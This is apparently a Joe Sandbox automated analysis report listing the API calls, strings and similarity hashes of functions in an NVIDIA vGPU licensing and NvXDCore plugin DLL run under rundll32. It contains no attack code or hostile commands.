Part of subcall function 00007FF8A8D2E228: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E2EB

GetFileSize.KERNEL32 ref: 00007FF8A8D7DC9A
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7DCC0
ReleaseMutex.KERNEL32 ref: 00007FF8A8D7DDB2

Strings

H, xrefs: 00007FF8A8D7DD7B
Failed to get file handle (%s), xrefs: 00007FF8A8D7DBA9
_readBinaryFile, xrefs: 00007FF8A8D7DB0E, 00007FF8A8D7DC1F, 00007FF8A8D7DD26
rb+, xrefs: 00007FF8A8D7DA69
GridCloudLicensingTrustedStorage.cpp, xrefs: 00007FF8A8D7DAE7, 00007FF8A8D7DBF6, 00007FF8A8D7DCFD
Failed to open file %s (%s), xrefs: 00007FF8A8D7DA98
Insufficient buffer size to read file, xrefs: 00007FF8A8D7DCB0

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: swprintf$FileInit_thread_footerMutexObjectReleaseSingleSizeWait_invalid_parameter_noinfo
String ID: Failed to get file handle (%s)$Failed to open file %s (%s)$GridCloudLicensingTrustedStorage.cpp$H$Insufficient buffer size to read file$_readBinaryFile$rb+
API String ID: 3430759221-4049378212
Opcode ID: 1324711effdba529c38c2d15827a069b4bc2013ae8a407df2989af7f25b28303
Instruction ID: b3a276dcba0e8a02790b5fc673c95de38fc5c803e577a5c9bafca53584e4f53d
Opcode Fuzzy Hash: 1324711effdba529c38c2d15827a069b4bc2013ae8a407df2989af7f25b28303
Instruction Fuzzy Hash: 1FA14E32A0AB42A5EB10DB60E4402EE77B4FB843D8F500236D69D43B69EF7CE559CB54

Function 00007FF8A8CFB8FC Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(?,?,?,?,?,00007FF8A8CFACFB), ref: 00007FF8A8CFB91C
SetLastError.KERNEL32(?,?,?,?,?,00007FF8A8CFACFB), ref: 00007FF8A8CFBAC1

Part of subcall function 00007FF8A8CFB1E4: SetLastError.KERNEL32 ref: 00007FF8A8CFB229
Part of subcall function 00007FF8A8CFB1E4: GetModuleHandleW.KERNEL32 ref: 00007FF8A8CFB28F
Part of subcall function 00007FF8A8CFB1E4: GetModuleFileNameW.KERNEL32 ref: 00007FF8A8CFB2A8
Part of subcall function 00007FF8A8CFB1E4: GetFileAttributesW.KERNEL32 ref: 00007FF8A8CFB31E
Part of subcall function 00007FF8A8CFB1E4: LocalFree.KERNEL32 ref: 00007FF8A8CFB334

LocalFree.KERNEL32(?,?,?,?,?,00007FF8A8CFACFB), ref: 00007FF8A8CFB9F3

Part of subcall function 00007FF8A8DC9BB8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8DC9BD5

GetLastError.KERNEL32(?,?,?,?,?,00007FF8A8CFACFB), ref: 00007FF8A8CFBA01
GetFileAttributesW.KERNEL32(?,?,?,?,?,00007FF8A8CFACFB), ref: 00007FF8A8CFBA5C
GetLastError.KERNEL32(?,?,?,?,?,00007FF8A8CFACFB), ref: 00007FF8A8CFBA6B
SetLastError.KERNEL32(?,?,?,?,?,00007FF8A8CFACFB), ref: 00007FF8A8CFBA78
LocalFree.KERNEL32(?,?,?,?,?,00007FF8A8CFACFB), ref: 00007FF8A8CFBA81
LocalFree.KERNEL32(?,?,?,?,?,00007FF8A8CFACFB), ref: 00007FF8A8CFBA8C
LocalFree.KERNEL32(?,?,?,?,?,00007FF8A8CFACFB), ref: 00007FF8A8CFBA95
SetLastError.KERNEL32(?,?,?,?,?,00007FF8A8CFACFB), ref: 00007FF8A8CFBAB1

Part of subcall function 00007FF8A8CFC064: SetLastError.KERNEL32(?,?,00000000,00007FF8A8CFB851), ref: 00007FF8A8CFC070
Part of subcall function 00007FF8A8CFC064: GetSystemDirectoryW.KERNEL32(?,?,00000000,00007FF8A8CFB851), ref: 00007FF8A8CFC07A
Part of subcall function 00007FF8A8CFC064: LocalAlloc.KERNEL32(?,?,00000000,00007FF8A8CFB851), ref: 00007FF8A8CFC08C
Part of subcall function 00007FF8A8CFC064: GetSystemDirectoryW.KERNEL32(?,?,00000000,00007FF8A8CFB851), ref: 00007FF8A8CFC09F
Part of subcall function 00007FF8A8CFC064: LocalFree.KERNEL32(?,?,00000000,00007FF8A8CFB851), ref: 00007FF8A8CFC0B0

GetLastError.KERNEL32(?,?,?,?,?,00007FF8A8CFACFB), ref: 00007FF8A8CFBAA4

Strings

system32\, xrefs: 00007FF8A8CFB96C
\SystemRoot\system32\, xrefs: 00007FF8A8CFB97D

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: ErrorLast$Local$Free$File$AttributesDirectoryModuleSystem$AllocHandleName_invalid_parameter_noinfo
String ID: \SystemRoot\system32\$system32\
API String ID: 2409060974-552109975
Opcode ID: 545285607237cb391dbd0e330b5cb997ee9b3b978d4aee174bfda1b9bdb13648
Instruction ID: 0a4013383546ce3b459d7b2767d22042b2b4c12456bdb68eaf0968ef27e11789
Opcode Fuzzy Hash: 545285607237cb391dbd0e330b5cb997ee9b3b978d4aee174bfda1b9bdb13648
Instruction Fuzzy Hash: 3B516820F0B742A5FF94AB62940117962A5EF44BC0F488035DA5E47B92EFACFD158B38

Function 00007FF8A8D2FEC0 Relevance: 23.2, APIs: 2, Strings: 11, Instructions: 456registryCOMMON

Download Yara Rule

APIs

RegisterTraceGuidsW.ADVAPI32 ref: 00007FF8A8D2FF87

Part of subcall function 00007FF8A8D57800: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D578B1

SetEvent.KERNEL32 ref: 00007FF8A8D30659

Part of subcall function 00007FF8A8D2C180: CoCreateInstance.OLE32 ref: 00007FF8A8D2C21C
Part of subcall function 00007FF8A8D2C180: StringFromGUID2.OLE32 ref: 00007FF8A8D2C2CB

Strings

Registering AppId for NvXDCoreModule, xrefs: 00007FF8A8D30295
Received OnInitialize() from NvContainer, xrefs: 00007FF8A8D30040
NvXDCore.cpp, xrefs: 00007FF8A8D2FF9F, 00007FF8A8D3055F, 00007FF8A8D3056E
Registering server for NvXDCoreModule, xrefs: 00007FF8A8D303CE
Invalid serviceName received from container. Aborting..., xrefs: 00007FF8A8D306F6
Nvidia::UXDriver::Core::NvXDCorePlugin::OnInitialize, xrefs: 00007FF8A8D30011, 00007FF8A8D30020, 00007FF8A8D30107, 00007FF8A8D30116, 00007FF8A8D30266, 00007FF8A8D30275, 00007FF8A8D3039F, 00007FF8A8D303AE, 00007FF8A8D30598, 00007FF8A8D305A7, 00007FF8A8D306C9, 00007FF8A8D306D8
Plugin initialized successfully, xrefs: 00007FF8A8D305C7
APPID, xrefs: 00007FF8A8D302EC
{C5EDFC9D-B018-41A4-9877-39AB18469C3A}, xrefs: 00007FF8A8D302FA
service name from NvContainer is, xrefs: 00007FF8A8D30136
NVSvc, xrefs: 00007FF8A8D301CC

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: CreateDeallocateEventFromGuidsInstanceRegisterStringTracestd::_
String ID: APPID$Invalid serviceName received from container. Aborting...$NVSvc$NvXDCore.cpp$Nvidia::UXDriver::Core::NvXDCorePlugin::OnInitialize$Plugin initialized successfully$Received OnInitialize() from NvContainer$Registering AppId for NvXDCoreModule$Registering server for NvXDCoreModule$service name from NvContainer is${C5EDFC9D-B018-41A4-9877-39AB18469C3A}
API String ID: 1968691844-2102066953
Opcode ID: 937d97db533433f06670ceecabd02b049a6581dd8fa8ec3cdb202777d278f3d8
Instruction ID: 8a24907457bb4ab767c1cec1fd7b1af2662fbbe92f0f50c1342528ee111523a3
Opcode Fuzzy Hash: 937d97db533433f06670ceecabd02b049a6581dd8fa8ec3cdb202777d278f3d8
Instruction Fuzzy Hash: BA321F36A06B81E9E721DF61E8402E933B8FB44798F500236DA5C07B69EF3CD658C358

Function 00007FF8A8D2F48C Relevance: 21.2, APIs: 3, Strings: 9, Instructions: 249stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 00007FF8A8D2F525
SHGetValueW.SHLWAPI ref: 00007FF8A8D2F63B

Strings

Unable to delete authentication token from registry, xrefs: 00007FF8A8D2F7C7
NvXDCore.cpp, xrefs: 00007FF8A8D2F536
Empty authentication token, xrefs: 00007FF8A8D2F888
Unable to fetch authentication token from registry, xrefs: 00007FF8A8D2F6C0
Reading authentication token, xrefs: 00007FF8A8D2F5BA
CacheAuthToken, xrefs: 00007FF8A8D2F53D
AuthToken, xrefs: 00007FF8A8D2F629, 00007FF8A8D2F730
SYSTEM\CurrentControlSet\Services\nvlddmkm\Global\GridSW, xrefs: 00007FF8A8D2F515
SOFTWARE\NVIDIA Corporation\Global\GridSW, xrefs: 00007FF8A8D2F51E

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Valuelstrcat
String ID: AuthToken$CacheAuthToken$Empty authentication token$NvXDCore.cpp$Reading authentication token$SOFTWARE\NVIDIA Corporation\Global\GridSW$SYSTEM\CurrentControlSet\Services\nvlddmkm\Global\GridSW$Unable to delete authentication token from registry$Unable to fetch authentication token from registry
API String ID: 3187036572-111034611
Opcode ID: 4f09136e7a493a28a2e01e564276c6568ee939a43db4d9e2981aec8bb4f40de8
Instruction ID: 945fcc54ee5e0bdfc4e8be175a9142c842aa45236c412ac6f4d0f761d1df893e
Opcode Fuzzy Hash: 4f09136e7a493a28a2e01e564276c6568ee939a43db4d9e2981aec8bb4f40de8
Instruction Fuzzy Hash: 92C12A32A0AB41A5E710DBA1E4400DEB7B8FB857D4F900236EA9D57B69EF3CD158CB14

Function 00007FF8A8D73D70 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 223COMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00000013,?,?,00007FF8A8D747A1,00000000,?,?,00000080,00000013,00000000,00000000,?,?,00007FF8A8D2EA05), ref: 00007FF8A8D73E0D
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D73E80
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D73F71
GetLastError.KERNEL32(?,?,00007FF8A8D747A1,00000000,?,?,00000080,00000013,00000000,00000000,?,?,00007FF8A8D2EA05), ref: 00007FF8A8D74064
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D74080

Strings

Unable to fetch the client configuration token file, xrefs: 00007FF8A8D73F5E
isNLSTokenFilePresent, xrefs: 00007FF8A8D73EE6, 00007FF8A8D73FD7, 00007FF8A8D740E6
SystemDrive, xrefs: 00007FF8A8D73E06
GridCommonUtils.cpp, xrefs: 00007FF8A8D73EBF, 00007FF8A8D73FAE, 00007FF8A8D740BD
\Program Files\NVIDIA Corporation\vGPU Licensing\ClientConfigToken, xrefs: 00007FF8A8D73E45
Failed to get system drive path (%d), xrefs: 00007FF8A8D7406D
Unable to open directory (%s), xrefs: 00007FF8A8D73E6D

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: swprintf$EnvironmentErrorLastVariable
String ID: Failed to get system drive path (%d)$GridCommonUtils.cpp$SystemDrive$Unable to fetch the client configuration token file$Unable to open directory (%s)$\Program Files\NVIDIA Corporation\vGPU Licensing\ClientConfigToken$isNLSTokenFilePresent
API String ID: 2327880762-3378230023
Opcode ID: 930d206374b0d49319ab198b474e61e325f5b57f13b5bcc518ce263285a9ec12
Instruction ID: 10aeca70a589334ed92680be4e2055ad4a2a5d7799f86959c20b11e1a810c9ad
Opcode Fuzzy Hash: 930d206374b0d49319ab198b474e61e325f5b57f13b5bcc518ce263285a9ec12
Instruction Fuzzy Hash: 64B15F32A0AB81E5FB119B64E4402DD77B4FB84398F900236E69D43BA9EF3CD559CB14

Function 00007FF8A8DB8B30 Relevance: 21.2, APIs: 14, Instructions: 195COMMONLIBRARYCODE

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 00007FF8A8DB8BC3

Part of subcall function 00007FF8A8D04C20: CreateEventA.KERNEL32 ref: 00007FF8A8D04C4C

CloseHandle.KERNEL32 ref: 00007FF8A8DB8BB4
CloseHandle.KERNEL32 ref: 00007FF8A8DB8C10
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8DB8C94
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8DB8CAB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8DB8CBA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8DB8CC9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8DB8CD5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8DB8D09
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8DB8D20
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8DB8D2F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8DB8D3E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8DB8D4A
CloseHandle.KERNEL32 ref: 00007FF8A8DB8D96

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseHandle$Event$Create
String ID:
API String ID: 1549041071-0
Opcode ID: 1de0987bfbf78678eb48ce6fc79e8fd271becc109d311275e15a01aa1ebb116b
Instruction ID: f68f3fe2e5e6b7728dd14027a6ee600a4c5d8474c1f6340515cf87cf984f989b
Opcode Fuzzy Hash: 1de0987bfbf78678eb48ce6fc79e8fd271becc109d311275e15a01aa1ebb116b
Instruction Fuzzy Hash: 5071E572A4BA8299EE50EB35D40867CA354EB45BE0F094A31CE3D537D1CF3CE8588328

Function 00007FF8A8D7E020 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 293COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D7DDE0: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7DE57

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7E0D8
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7E209

Part of subcall function 00007FF8A8D2E228: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E2EB

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7E32E

Part of subcall function 00007FF8A8D72D10: strstr.LIBVCRUNTIME ref: 00007FF8A8D72D42

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7E450

Strings

cloudLicTSFetchParam, xrefs: 00007FF8A8D7E140, 00007FF8A8D7E26D, 00007FF8A8D7E396, 00007FF8A8D7E4B8
"lease_list": {[, xrefs: 00007FF8A8D7E1E2
Malformed response - Could not find the expected tag, xrefs: 00007FF8A8D7E1F9, 00007FF8A8D7E31E, 00007FF8A8D7E440
"jti":", xrefs: 00007FF8A8D7E307
"system_clock_snapshot":", xrefs: 00007FF8A8D7E429
No content in local trusted store, xrefs: 00007FF8A8D7E0C8
GridCloudLicensingTrustedStorage.cpp, xrefs: 00007FF8A8D7E117, 00007FF8A8D7E244, 00007FF8A8D7E36B, 00007FF8A8D7E48D

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: swprintf$Init_thread_footerstrstr
String ID: "jti":"$"lease_list": {[$"system_clock_snapshot":"$GridCloudLicensingTrustedStorage.cpp$Malformed response - Could not find the expected tag$No content in local trusted store$cloudLicTSFetchParam
API String ID: 661432455-1619096017
Opcode ID: 30f0b05db5e2b0543325c0f638f6128f65fc80f1bbfdad7fbd96e10bba8cd859
Instruction ID: b7aa5322fabbfcea3e3395e0513fbfadec539f7db256dee1dfc794fc0ee8f2ac
Opcode Fuzzy Hash: 30f0b05db5e2b0543325c0f638f6128f65fc80f1bbfdad7fbd96e10bba8cd859
Instruction Fuzzy Hash: 2CE11E31A0AB81A5FB10DB50E4402EE77A4FB847D8F900136EA9D03BA9EF7CD159CB54

Function 00007FF8A8D0433C Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 245registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D03FD4: RegQueryValueExW.ADVAPI32 ref: 00007FF8A8D04029

Part of subcall function 00007FF8A8D0EA24: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D0EA6E

Part of subcall function 00007FF8A8D03C94: RegOpenKeyExW.ADVAPI32 ref: 00007FF8A8D03CEB

Part of subcall function 00007FF8A8D10864: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D108CC

std::_Deallocate.LIBCONCRT ref: 00007FF8A8D0447F
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D044CD

Part of subcall function 00007FF8A8D00920: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D0096B
Part of subcall function 00007FF8A8D00920: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D00971
Part of subcall function 00007FF8A8D00920: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D00977
Part of subcall function 00007FF8A8D00920: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D0097D
Part of subcall function 00007FF8A8D00920: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D00983

std::_Deallocate.LIBCONCRT ref: 00007FF8A8D0450A
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D04573
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D045AE
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D04656
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D04695
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D046C7
RegCloseKey.ADVAPI32 ref: 00007FF8A8D046D2

Strings

DefaultLogLevel, xrefs: 00007FF8A8D043A5, 00007FF8A8D043B4
OriginRules, xrefs: 00007FF8A8D043F6, 00007FF8A8D04405

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Deallocatestd::_$_invalid_parameter_noinfo_noreturn$CloseOpenQueryValue
String ID: DefaultLogLevel$OriginRules
API String ID: 536763390-3104795989
Opcode ID: 18fe5868ac3e4d2203944b692ae30855630519383eec40fa974bff6406e3b4bf
Instruction ID: 1064dc4f42c002c81c883f0a287c57dd1ed748e1c18d02f8743489d47efbdf52
Opcode Fuzzy Hash: 18fe5868ac3e4d2203944b692ae30855630519383eec40fa974bff6406e3b4bf
Instruction Fuzzy Hash: 3DA1F572A19682A5EB10EF62E8405ED7B71FB857C8F405036EE1E17A99DF3CD608C748

Function 00007FF8A8CFCCF0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 143libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF8A8CFCD50
GetProcAddress.KERNEL32 ref: 00007FF8A8CFCD80
GetProcAddress.KERNEL32 ref: 00007FF8A8CFCDAC
GetProcAddress.KERNEL32 ref: 00007FF8A8CFCDD8

Part of subcall function 00007FF8A8CFAB70: VerSetConditionMask.KERNEL32 ref: 00007FF8A8CFABB0
Part of subcall function 00007FF8A8CFAB70: VerifyVersionInfoW.KERNEL32 ref: 00007FF8A8CFABDE

LocalAlloc.KERNEL32 ref: 00007FF8A8CFCE75
LocalFree.KERNEL32 ref: 00007FF8A8CFCECD

Strings

CloseServiceHandle, xrefs: 00007FF8A8CFCDCE
OpenServiceW, xrefs: 00007FF8A8CFCD76
QueryServiceConfigW, xrefs: 00007FF8A8CFCDA2
Advapi32.dll, xrefs: 00007FF8A8CFCD21
OpenSCManagerW, xrefs: 00007FF8A8CFCD46

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
